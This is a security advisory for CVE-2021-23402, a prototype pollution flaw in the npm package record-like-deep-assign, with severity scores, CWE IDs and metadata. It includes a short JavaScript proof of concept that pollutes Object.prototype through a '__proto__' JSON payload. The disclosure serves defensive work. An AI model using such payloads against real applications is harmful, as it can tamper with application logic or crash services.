CVE-2021-23402 – record-like-deep-assign

Package

Manager: npm
Name: record-like-deep-assign
Vulnerable Version: >=0 <=1.0.1

Severity

Level: High

CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

CVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N

EPSS: 0.0053 pctl0.66311

Details

Prototype Pollution in record-like-deep-assign All versions of package record-like-deep-assign are vulnerable to Prototype Pollution via the main functionality. ### PoC ```js const deepAssign = require('record-like-deep-assign'); let obj = {}; console.log("Before being polluted: " + obj.polluted); EVIL_JSON = JSON.parse('{"__proto__":{"polluted":true}}'); deepAssign({}, EVIL_JSON); console.log("After being polluted: " + obj.polluted); ```

Metadata

Created: 2021-12-10T18:55:39Z
Modified: 2023-09-11T18:40:49Z
Source: MANUAL
CWE IDs: ["CWE-1321", "CWE-915"]
Alternative ID: GHSA-7qm6-9v49-38m9
Finding: F390
Auto approve: 1